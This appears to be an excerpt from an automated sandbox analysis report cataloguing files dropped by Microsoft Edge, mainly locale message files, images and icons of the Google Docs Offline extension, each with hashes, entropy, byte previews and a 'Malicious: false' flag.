SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\f54030d4-1509-4c06-8b20-a6b8c0ee9b1f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
